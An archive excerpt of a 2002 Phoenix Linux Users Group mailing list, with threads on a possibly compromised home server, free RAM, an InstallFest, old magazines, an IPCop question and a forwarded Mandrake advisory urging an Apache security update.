measure, I also made sure that my system has current patches > > > for apache (which I do run a webserver here on port 8000) and I've > > > tested any cgi scripts and other things using a tool called nessus. > > > > > > so far, after the last 12 hours, I can't seem to find any evidence that > > > an incursion (intrusion) has taken place other than that 1 log entry > > > written by chkrootkit that one time. > > > > > > so, I'm at a loss. am I trojaned or not? > > > > > > Technomage > > > > > > On Wednesday 19 June 2002 12:55 pm, you wrote: > > > > --- technomage wrote: > > > > > ok, > > > > > > > > > > > > > > > > > as a safety measure when I first found an intruder on my system > > > > > some weeks back, I changed all passwords, ran chattr +ui on some > > > > > specified directories > > > > > > > > > > > > > > > > Hmm.... the fact that you had an intruder is not a good sign. Even > > > > though you changed the passwords, etc, there may have already been > > > > someting in place that passed that info back to the intruder. Any > > > > idea on how long the intruder had access to your system? > > > > > > > > Personally, I would cut my loses - print (yes print) any config files > > > > that you want to re-implement, wipe the box and re-install from > > > > scratch. > > > > > > > > Or > > > > > > > > if you have the disk to spare, rebuild the system on a new disk. > > > > Once done, mount up the old disk - dont run anything from it - and > > > > give it a thorough going over - see if you can figure out what was > > > > done to compromise the system. > > > > > > > > __________________________________________________ > > > > Do You Yahoo!? > > > > Yahoo! - Official partner of 2002 FIFA World Cup > > > > http://fifaworldcup.yahoo.com > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > > doesn't post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > -- > > > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > > > numbered! > > > My life is my own - No. 6 > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 19:31:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Digital Wokan) Date: Wed, 19 Jun 2002 12:31:49 -0700 Subject: Free RAM to good home Message-ID: <200206191231.49430.wokan@cox.net> I've got a bunch of 72 pin simms laying around from older upgrades. Anyone with a 486 or really old Pentium/K5/M2 who could use them (more memory for you Masq'ing router I'd guess) is welcome to them. Not sure what their condition or capacity is in most cases. I'm sure I have at least a pair of 8's and a pair of 4's. I think I also have a 4, an 8, and a 16 singly. Write back if interested. From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 01:28:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Sat, 22 Jun 2002 18:28:55 -0700 Subject: Install Fest Early Thoughts Message-ID: <0206221828550F.01526@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 To everyone who showed up - stand up and pat yourself on the back. Thanks to you it was a GREAT event. More later after the adrenelin rush subsides . . . - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRUkVysk3ywszI1FEQJdegCdF2F3iL5JgfjobDzfKT0lAgjtrjgAn3Wy UcoFbjALHQcbv837nmh8bMpB =Zuin -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 01:27:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Sat, 22 Jun 2002 18:27:26 -0700 Subject: Free RAM to good home In-Reply-To: <200206191231.49430.wokan@cox.net> References: <200206191231.49430.wokan@cox.net> Message-ID: <20020623012726.GT8953@ecloud.org> Sure I could use them. I still use multiple machines which use them. On Wed, Jun 19, 2002 at 12:31:49PM -0700, Digital Wokan wrote: > I've got a bunch of 72 pin simms laying around from older upgrades. Anyone > with a 486 or really old Pentium/K5/M2 who could use them (more memory for > you Masq'ing router I'd guess) is welcome to them. Not sure what their > condition or capacity is in most cases. I'm sure I have at least a pair of > 8's and a pair of 4's. I think I also have a 4, an 8, and a 16 singly. > Write back if interested. > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 02:18:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Sat, 22 Jun 2002 19:18:06 -0700 Subject: Install Fest Early Thoughts In-Reply-To: <0206221828550F.01526@nova.wedge.org> Message-ID: <5.1.0.14.0.20020622191255.00a60d30@localhost> Let me say this. I really enjoyed being there and hearing the presentations as well as seeing so many people attend this function. It was an absolute wonderful event. My hat off to everyone that organized and was able to contribute to this event. I am now looking forward to the next one. It would be great to have someone organize one for the west side. I am very excited about the event today and even shared my excitement with my partner, who has agreed to allow me to implement some much needed changes here at Unity Wave. : ) Progress is great. Kimi Adams Unity Wave At 6/22/02, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >To everyone who showed up - stand up and pat yourself on the back. Thanks to >you it was a GREAT event. > >More later after the adrenelin rush subsides . . . > >- -- >Jim > >Freedom is worth protecting > >-----BEGIN PGP SIGNATURE----- >Version: PGP 6.5.8 > >iQA/AwUBPRUkVysk3ywszI1FEQJdegCdF2F3iL5JgfjobDzfKT0lAgjtrjgAn3Wy >UcoFbjALHQcbv837nmh8bMpB >=Zuin >-----END PGP SIGNATURE----- >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 02:52:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kurt Granroth) Date: Sat, 22 Jun 2002 19:52:35 -0700 Subject: OT: Old Wired and Byte magazines Message-ID: <200206221952.35537@granroth.org> I have a collection of old Wired magazines from '95-'97 (back when Wired mattered) and Byte magazines from '96 up until they died. I don't have room for them anymore so I need to get rid of them.. yet I feel guiltly about just tossing them in the trash. So a question: do you want them or know of anybody/place that might? Do libraries ever take "old" magazines? -- Kurt Granroth - "KDE -- Conquer Your Desktop" KDE Developer/Evangelist | granroth@kde.org http://www.granroth.org | kurt@granroth.org From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 03:10:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Sat, 22 Jun 2002 20:10:49 -0700 Subject: OT: Old Wired and Byte magazines References: <200206221952.35537@granroth.org> Message-ID: <3D153C39.BE283BB1@qwest.net> Bookmans maybe? > I have a collection of old Wired magazines from '95-'97 (back when Wired > mattered) and Byte magazines from '96 up until they died. I don't have > room for them anymore so I need to get rid of them.. yet I feel guiltly > about just tossing them in the trash. > > So a question: do you want them or know of anybody/place that might? Do > libraries ever take "old" magazines? From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 04:26:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Julian M Catchen) Date: Sat, 22 Jun 2002 21:26:59 -0700 Subject: OT: Old Wired and Byte magazines In-Reply-To: <200206221952.35537@granroth.org>; from kurt@granroth.org on Sat, Jun 22, 2002 at 19:52:35 -0700 References: <200206221952.35537@granroth.org> Message-ID: <20020622212659.A630@topeka.ph.cox.net> I recently donated a relatively complete set of Linux Journals from the past several years to the Mesa Public Library. They told me they will either place them in their collection or they will sell them to raise funds for the library. I assume you can do the same with any of the Phoenix libraries. julian On 2002.06.22 19:52 Kurt Granroth wrote: > I have a collection of old Wired magazines from '95-'97 (back when Wired > mattered) and Byte magazines from '96 up until they died. I don't have > room for them anymore so I need to get rid of them.. yet I feel guiltly > about just tossing them in the trash. > > So a question: do you want them or know of anybody/place that might? Do > libraries ever take "old" magazines? > -- > Kurt Granroth - "KDE -- Conquer Your Desktop" > KDE Developer/Evangelist | granroth@kde.org > http://www.granroth.org | kurt@granroth.org > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -- mail : julian @ catchen.org | ( topeka ) www : http://catchen.org/topeka/ | phx, az sent : Sat Jun 22, 2002 09:25PM MST | The market is a tool, and a useful one. But the worship of this tool is a hollow faith. Far more important than any tool is what you make with it. Many of America's greatest accomplishments stand in complete defiance of the free market: the prohibition of child labor, the establishment of a minimum wage, the creation of National parks. --Eric Schlosser, Fast Food Nation From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 04:30:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Sat, 22 Jun 2002 21:30:55 -0700 (PDT) Subject: Install Fest Early Thoughts In-Reply-To: <5.1.0.14.0.20020622191255.00a60d30@localhost> Message-ID: <20020623043055.95459.qmail@web13405.mail.yahoo.com> > be great to have > someone organize one for the west side. Can I get a hallelujah?! __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 05:05:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Don Calfa) Date: Sat, 22 Jun 2002 22:05:05 -0700 Subject: OT: Old Wired and Byte magazines References: <200206221952.35537@granroth.org> <20020622212659.A630@topeka.ph.cox.net> Message-ID: <3D155701.4020409@netscape.net> Good idea. I have a collection of Compute! magazines from the 80's as well as other old magazines. The ads in these magazines are really funny now! Radio Shack had an ad for a Model 12 Business Computer for $3499. It had 2 built-in double sided double density 8" disk drives for more than 2.5 million characters of program and data storage. Built in 12" High-resolution monitor displays 24 lines of 80 characters Big 64K memory handles tough jobs And to think that we sent man to the moon on computing power less than that. Julian M Catchen wrote: > I recently donated a relatively complete set of Linux Journals from > the past several years to the Mesa Public Library. They told me they > will either place them in their collection or they will sell them to > raise funds for the library. I assume you can do the same with any of > the Phoenix libraries. > > julian > > > On 2002.06.22 19:52 Kurt Granroth wrote: > >> I have a collection of old Wired magazines from '95-'97 (back when Wired >> mattered) and Byte magazines from '96 up until they died. I don't have >> room for them anymore so I need to get rid of them.. yet I feel guiltly >> about just tossing them in the trash. >> >> So a question: do you want them or know of anybody/place that might? Do >> libraries ever take "old" magazines? >> -- >> Kurt Granroth - "KDE -- Conquer Your Desktop" >> KDE Developer/Evangelist | granroth@kde.org >> http://www.granroth.org | kurt@granroth.org >> >> ________________________________________________ >> See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >> post to the list quickly and you use Netscape to write mail. >> >> PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >> http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> >> From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 06:33:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (Michelle Lowman) Date: Sat, 22 Jun 2002 23:33:46 -0700 Subject: Free RAM to good home In-Reply-To: <200206191231.49430.wokan@cox.net> Message-ID: If you still have an 8 lying around, let me know. Thanks! -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Digital Wokan Sent: Wednesday, June 19, 2002 12:32 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Free RAM to good home I've got a bunch of 72 pin simms laying around from older upgrades. Anyone with a 486 or really old Pentium/K5/M2 who could use them (more memory for you Masq'ing router I'd guess) is welcome to them. Not sure what their condition or capacity is in most cases. I'm sure I have at least a pair of 8's and a pair of 4's. I think I also have a 4, an 8, and a 16 singly. Write back if interested. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 06:59:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (KevinO) Date: Sat, 22 Jun 2002 23:59:32 -0700 Subject: [Fwd: MDKSA-2002:039-2 - apache update (revised)] Message-ID: <3D1571D4.8080507@deru.com> -------- Original Message -------- Subject: MDKSA-2002:039-2 - apache update (revised) Date: 22 Jun 2002 20:06:22 -0000 From: Mandrake Linux Security Team To: bugtraq@securityfocus.com -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ________________________________________________________________________ Mandrake Linux Security Update Advisory ________________________________________________________________________ Package name: apache Advisory ID: MDKSA-2002:039-2 Date: June 22md, 2002 Original Advisory Date: June 20th, 2002 Affected versions: 7.1, 7.2, 8.0, 8.1, 8.2, Corporate Server 1.0.1, Single Network Firewall 7.2 ________________________________________________________________________ Problem Description: [ Please note that this advisory supersedes the previous MDKSA-2002:039 and MDKSA-2002:039-1 advisories. ] MandrakeSoft is urging all users of Mandrake Linux to update their Apache installations immediately. What was previously thought to have been a DoS-only condition has now been proven to be more than that; exploitable conditions have been discovered on both 32bit and 64bit platforms. Successful exploitation of this vulnerability may lead to the execution of arbitary code on the server running a vulnerable Apache with the permissions of the web server child process (on Mandrake Linux this is the user "apache"). This can be used to exploit other vulnerabilities that are unrelated to Apache on the local system, and potentially allow the intruder root access. Thanks to Gobbles for proving that this exploitable condition exists. Because there are known exploits in the wild for some platforms, this update should be considered essential and should be performed immediately. All versions of Apache prior to 1.3.26 and 2.0.37 are vulnerable to this problem. MandrakeSoft has provided patched versions of Apache to correct this vulnerability. Also please note that these packages are no different than those provided in MDKSA-2002:039-1 so if you have already updated, there are no new packages to upgrade. ________________________________________________________________________ References: http://httpd.apache.org/info/security_bulletin_20020620.txt http://online.securityfocus.com/news/493 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0392 ________________________________________________________________________ Updated Packages: Linux-Mandrake 7.1: e88a36b186ed910b350ded94ecf017eb 7.1/RPMS/apache-1.3.22-10.1mdk.i586.rpm 084e29eb5ea8f07924bd3c3aaa62e166 7.1/RPMS/apache-common-1.3.22-10.1mdk.i586.rpm 99ee271be857848a76ee4e5ddba164db 7.1/RPMS/apache-devel-1.3.22-10.1mdk.i586.rpm 7419f968d50062a46fdb5c932a4e6a66 7.1/RPMS/apache-manual-1.3.22-10.1mdk.i586.rpm a814f93494464cb1dc17ba363d128ade 7.1/RPMS/apache-mod_perl-1.3.22_1.26-2.1mdk.i586.rpm 8ad5af9470bf2efc5a9500c0ca0dc1f0 7.1/RPMS/apache-modules-1.3.22-10.1mdk.i586.rpm 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The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, Inc. From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 07:38:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Digital Wokan) Date: Sun, 23 Jun 2002 00:38:05 -0700 Subject: Free RAM to good home In-Reply-To: References: <200206191231.49430.wokan@cox.net> Message-ID: <20020623003805.4cb21b9f.wokan@cox.net> I believe I have 3 x 8MB. If you just need one, that leaves me a pair that Shawn can use in his systems. (Assuming he needs pairs.) On Sat, 22 Jun 2002 23:33:46 -0700 "Michelle Lowman" wrote: > If you still have an 8 lying around, let me know. Thanks! > > -----Original Message----- > From: plug-discuss-admin@lists.plug.phoenix.az.us > [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Digital > Wokan > Sent: Wednesday, June 19, 2002 12:32 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Free RAM to good home > > > I've got a bunch of 72 pin simms laying around from older upgrades. Anyone > with a 486 or really old Pentium/K5/M2 who could use them (more memory for > you Masq'ing router I'd guess) is welcome to them. Not sure what their > condition or capacity is in most cases. I'm sure I have at least a pair of > 8's and a pair of 4's. I think I also have a 4, an 8, and a 16 singly. > Write back if interested. > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post > to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 08:05:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Sun, 23 Jun 2002 01:05:08 -0700 Subject: IPCop Message-ID: <20020623010508.51cf265c.snoogans@qwest.net> i was at the installfest today and installed IPCop on an extra box that i had, im trying to figure out how i need to set it up, i have qwest's vdsl which means that there is this gateway box sitting in our living room with a TV cable in and a TV cable and ethernate cable out acting as a dhcp server. I would assume i setup IPCop to get its ip from the gateway box and set it to act as a dhcp server for the rest of my network, however i am very new to networking and i am not sure exactly if that will work or what i have to do, any pointers in the right direction would be great :) Im reading the docs on the IPCop website right now hopefully i will come up with something from there too. -Robert From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 13:20:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Sun, 23 Jun 2002 06:20:24 -0700 (MST) Subject: Install Fest Early Thoughts In-Reply-To: <5.1.0.14.0.20020622191255.00a60d30@localhost> Message-ID: We had a super turnout and a lot of fun. The presentations were well received... more shortly. THANKS to everyone who helped. I was amazed and delighted at everyone helping each other. \\/ From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 14:04:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Sun, 23 Jun 2002 07:04:49 -0700 Subject: Install Fest Early Thoughts In-Reply-To: References: Message-ID: <200206230704.49372.dennisk@sahuaro.f2s.com> On Sunday 23 June 2002 06:20 am, William Lindley wrote: > We had a super turnout and a lot of fun. The presentations were well > received... more shortly. > > THANKS to everyone who helped. I was amazed and delighted at everyone > helping each other. > > \\/ > I second Bill's comments! My German friend Wolfgang, who drive all the way from Goodyear (115th Ave & Buckeye) and is new to Linux was delighted with the help he was able to receive even though there weren't any SuSE experts there. Dennis Kibbe From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 14:18:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (G.D.Thurman) Date: Sun, 23 Jun 2002 07:18:31 -0700 (MST) Subject: Install Fest Early Th In-Reply-To: Message-ID: On Sun, 23 Jun 2002, William Lindley wrote: > We had a super turnout and a lot of fun. > The PLUG GNU/Linux InstallFest was great. PLUG Members need to be congratulated on doing an excellent job. Last year the PLUG helped bring RMS to our Valley -- this year they pull off an InstallFest. It was a honor for SCC to have so many good computer professionals on its campus today. Here is a small collection of pictures. http://inficad.com/~thurmunit/plug/installfest/ Thurman [Thanks for the red hat.] From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 15:23:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alpha Zenon Sanchez) Date: Sun, 23 Jun 2002 08:23:39 -0700 (PDT) Subject: Install Fest Early Thoughts Message-ID: <20020623152339.5110.qmail@web10605.mail.yahoo.com> Hello Everyone- I just wanted to say I had a good time at Installfest. I want to especially thank Kevin O. and Chris for helping me with Mandrake. It's up and running smooth...:-) I also want to thank Paul for getting me setup with Java/Tomcat...It would have taken me weeks to get it together. :-) This was my first time I attended an actual meeting. I really think it's great, becuase everyone is so enthusiastic and very knowledgeable about Linux. Everyone made me feel welcome. I'm looking forward to see you all at the next PLUG meeting. Perhaps the next Installfest, I'll be able to know enough to help Linux newbies too... ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 16:40:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 23 Jun 2002 09:40:41 -0700 (PDT) Subject: Install Fest Early Th In-Reply-To: Message-ID: These pics are great. Anyone else have some too? We should have an area of the PLUG site to archive pictures like this. ~M On Sun, 23 Jun 2002, G.D.Thurman wrote: > On Sun, 23 Jun 2002, William Lindley wrote: > > > We had a super turnout and a lot of fun. > > > The PLUG GNU/Linux InstallFest was great. > > PLUG Members need to be congratulated on > doing an excellent job. Last year the > PLUG helped bring RMS to our Valley -- > this year they pull off an InstallFest. > > It was a honor for SCC to have so many good > computer professionals on its campus today. > > Here is a small collection of pictures. > http://inficad.com/~thurmunit/plug/installfest/ > > Thurman [Thanks for the red hat.] > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 16:53:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike Childers) Date: Sun, 23 Jun 2002 09:53:24 -0700 Subject: My first meeting. Message-ID: <002201c21ad6$7ddb9020$0100a8c0@dilbert> This is a multi-part message in MIME format. ------=_NextPart_000_001F_01C21A9B.D0807DD0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I just wanted to say that I had a blast on Saturday. It was my first PLUG meeting although I have been using Linux for about = 10 years (since Slackware 1.0). I walked in expecting to learn more = about turning my desktop to Linux, since all I have done with Linux so = far has been servers and routers. I found a guy named Matt that was = installing Slackware 8.0 and started talking to him and eventually = helped him install.=20 To make a long story short, with the help of several people whom I = didn't even get their names, we got Matt's PC up and running on X. As = you know, in Slackware you have to do things the hard way sometimes. I = now have a better idea of what X is and how to set it up. The knowledge base you guys have is amazing. It was what I expected to = find when I decided to join and add another hundred emails a day to my = mailbox. :) Now I pretty much read every one of them every day and I = look forward to the next event.=20 Thanks! Mike Childers IT Network Consultant (602) 308-INET ------=_NextPart_000_001F_01C21A9B.D0807DD0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I just wanted to say that I had a blast = on=20 Saturday.
 
It was my first PLUG meeting although I = have been=20 using Linux for about 10 years (since Slackware 1.0). I walked in = expecting to=20 learn more about turning my desktop to Linux, since all I have done with = Linux=20 so far has been servers and routers. I found a guy named Matt that was=20 installing Slackware 8.0 and started talking to him and eventually = helped him=20 install.
 
To make a long story short, with the = help of=20 several people whom I didn't even get their names, we got Matt's PC up = and=20 running on X. As you know, in Slackware you have to do things the hard = way=20 sometimes. I now have a better idea of what X is and how to set it=20 up.
 
The knowledge base you guys have is = amazing. It was=20 what I expected to find when I decided to join and add another hundred = emails a=20 day to my mailbox. :) Now I pretty much read every one of them every day = and I=20 look forward to the next event.
 
Thanks!
 
Mike Childers
IT Network Consultant
(602) = 308-INET
------=_NextPart_000_001F_01C21A9B.D0807DD0-- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 18:07:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Michelle Lowman) Date: Sun, 23 Jun 2002 11:07:58 -0700 Subject: Free RAM to good home In-Reply-To: <20020623003805.4cb21b9f.wokan@cox.net> Message-ID: One is all I need. Will you be at Glendale Tuesday? -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Digital Wokan Sent: Sunday, June 23, 2002 12:38 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Free RAM to good home I believe I have 3 x 8MB. If you just need one, that leaves me a pair that Shawn can use in his systems. (Assuming he needs pairs.) On Sat, 22 Jun 2002 23:33:46 -0700 "Michelle Lowman" wrote: > If you still have an 8 lying around, let me know. Thanks! > > -----Original Message----- > From: plug-discuss-admin@lists.plug.phoenix.az.us > [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Digital > Wokan > Sent: Wednesday, June 19, 2002 12:32 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Free RAM to good home > > > I've got a bunch of 72 pin simms laying around from older upgrades. Anyone > with a 486 or really old Pentium/K5/M2 who could use them (more memory for > you Masq'ing router I'd guess) is welcome to them. Not sure what their > condition or capacity is in most cases. I'm sure I have at least a pair of > 8's and a pair of 4's. I think I also have a 4, an 8, and a 16 singly. > Write back if interested. > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post > to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 18:48:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Sun, 23 Jun 2002 11:48:23 -0700 Subject: Free RAM to good home In-Reply-To: References: <20020623003805.4cb21b9f.wokan@cox.net> Message-ID: <20020623184823.GX8953@ecloud.org> I want to try to make the next Stammtisch, or we can meet before then if you like. On Sun, Jun 23, 2002 at 11:07:58AM -0700, Michelle Lowman wrote: > One is all I need. Will you be at Glendale Tuesday? > > -----Original Message----- > From: plug-discuss-admin@lists.plug.phoenix.az.us > [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Digital > Wokan > Sent: Sunday, June 23, 2002 12:38 AM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Free RAM to good home > > > I believe I have 3 x 8MB. If you just need one, that leaves me a pair that > Shawn can use in his systems. (Assuming he needs pairs.) > > On Sat, 22 Jun 2002 23:33:46 -0700 > "Michelle Lowman" wrote: > > > If you still have an 8 lying around, let me know. Thanks! > > > > -----Original Message----- > > From: plug-discuss-admin@lists.plug.phoenix.az.us > > [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Digital > > Wokan > > Sent: Wednesday, June 19, 2002 12:32 PM > > To: plug-discuss@lists.plug.phoenix.az.us > > Subject: Free RAM to good home > > > > > > I've got a bunch of 72 pin simms laying around from older upgrades. > Anyone > > with a 486 or really old Pentium/K5/M2 who could use them (more memory for > > you Masq'ing router I'd guess) is welcome to them. Not sure what their > > condition or capacity is in most cases. I'm sure I have at least a pair > of > > 8's and a pair of 4's. I think I also have a 4, an 8, and a 16 singly. > > Write back if interested. > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post > > to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post > to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 19:07:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Sun, 23 Jun 2002 12:07:58 -0700 (MST) Subject: Install Fest Early Th In-Reply-To: Message-ID: On Sun, 23 Jun 2002, Matt Alexander wrote: > These pics are great. Anyone else have some too? My photos are at http://www.wlindley.com/plug/ \\/ p.s., Victor or whoever's putting together the PLUG site, feel free to use them. From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 20:36:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: 